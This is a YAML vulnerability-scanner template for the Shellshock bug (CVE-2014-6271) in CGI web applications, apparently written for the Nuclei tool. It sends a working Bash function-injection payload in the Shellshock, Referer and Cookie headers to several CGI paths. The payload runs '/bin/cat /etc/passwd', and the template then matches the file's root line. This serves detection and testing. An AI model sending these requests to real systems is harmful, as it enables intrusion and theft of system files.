45 lines
1.3 KiB
YAML
45 lines
1.3 KiB
YAML
id: CVE-2014-6271
|
|
|
|
info:
|
|
name: Shellshock
|
|
author: pentest_swissky
|
|
severity: critical
|
|
description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
|
|
reference:
|
|
- http://www.kb.cert.org/vuls/id/252743
|
|
- http://www.us-cert.gov/ncas/alerts/TA14-268A
|
|
tags: cve,cve2014,rce
|
|
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2014-6271
|
|
cwe-id: CWE-78
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}"
|
|
- "{{BaseURL}}/cgi-bin/status"
|
|
- "{{BaseURL}}/cgi-bin/stats"
|
|
- "{{BaseURL}}/cgi-bin/test"
|
|
- "{{BaseURL}}/cgi-bin/status/status.cgi"
|
|
- "{{BaseURL}}/test.cgi"
|
|
- "{{BaseURL}}/debug.cgi"
|
|
- "{{BaseURL}}/cgi-bin/test-cgi"
|
|
headers:
|
|
Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
|
Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
|
Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
part: body
|